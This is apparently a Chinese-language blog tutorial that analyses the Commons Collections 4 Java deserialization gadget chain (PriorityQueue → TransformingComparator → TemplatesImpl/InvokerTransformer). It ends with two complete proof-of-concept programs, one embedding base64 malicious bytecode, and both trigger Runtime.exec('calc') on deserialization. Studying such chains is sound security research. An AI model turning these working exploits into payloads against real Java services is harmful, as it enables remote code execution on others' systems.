之前分析的CC链都是基于CommonsCollections3.2.1及其之前版本的,而后边推出了新的版本org.apache.commons.collections4
,本文分析CC4
就是基于CC 4.0版(除此之外)CC2)
流程
事实上,本条链的前半部分跟随CC3.它们都是动态加载字节码的过程,后面的结构主要使用两类PriorityQueue
和TransformingComparator
这里ysoseria并没有给出Gadget chain
,所以仿照ysoseria总结:
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InstantiaterTransformer.transform() TrAXFilter.TrAXfilter Method.invoke() Runtime.exec()
PriorityQueue
先看下PriorityQueue
PriorityQueue()使用默认初始容量(11) PriorityQueue,元素按自然顺序排序。 PriorityQueue(int initialCapacity)创建指定的初始容量 PriorityQueue,元素按自然顺序排序。
本文主要采用方法,add(E e):将指定元素插入优先级队列
测试代码:
package CommonsCollections4; import java.util.PriorityQueue; public class Test {
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue=new PriorityQueue(2); priorityQueue.add(4); priorityQueue.add(3); priorityQueue.add(2); priorityQueue.add(1); //add()将指定元素添加到队列中 System.out.println(priorityQueue); System.out.println(priorityQueue.poll()); //poll获取队列的头 } }
之所以用它,是因为它重写了自己
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
最后调用了heapify()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
接着调用siftDown()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
当comparator不为null时调用siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
最后调用comparator.compare()
,而comparator
在本类的构造方法中可控,所以关键就在于调用谁的compare()
了
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
TransformingComparator
在该类中发现compare()
,并且调用transform()
方法,后边的就跟之前都一样了
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这个类其实在CC 3.2.1版本是无法使用的,因为从4.0开始它才继承了Serializable接口
//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
分析
TemplatesImpl
前边跟之前CC3的都一样
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{
bytes});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{
Templates.class},new Object[]{
templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}
在执行compare()
时,它执行的是this.transformer的transform()
方法
final O value1 = this.transformer.transform(obj1);
所以就需要构造一下this.transformer=chainedTransformer
,构造:
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
而PriorityQueue
中需要调用comparator.compare()
,所以就需要通过控制器构造comparator=TransformingComparator
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
之后经反序列化后未执行成功,主要有两个原因
一、这里会进行i = (size >>> 1) -1
,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
java中有三种移位运算符
<< : 左移运算符,num << 1,相当于num乘以2
>> : 右移运算符,num >> 1,相当于num除以2
>>> : 无符号右移,忽略符号位,空位都以0补齐
所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值
priorityQueue.add(1);
priorityQueue.add(2);
二、
在通过add添加后,还是无法正常运行,原因在于:
public boolean add(E e) {
return offer(e);
}
在add()
中会调用offer()
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
而在offer()
中调用了siftUp()
,接着就一串siftUpUsingComparator()->siftUpUsingComparator()->compare()......
,
就在序列化时执行了,而我的并没有执行,因为少了这里:
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
之前CC3中最后把它去掉了,因为在执行readObjet()
时,会默认初始化,但在这里想通过序列化就触发的话,就需要加上这条。
接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator
的值修改为一个没用的值,绕过调用
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
之后再在add()方法执行结束后,通过反射将transformingComparator
修改回来
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
最后POC
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{
bytes});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{
Templates.class},new Object[]{
templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(0);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
Transformer
其实用Transformer
链也行,参考一下即可
package CommonsCollections4;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[]{
}}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[]{
}}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(0);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}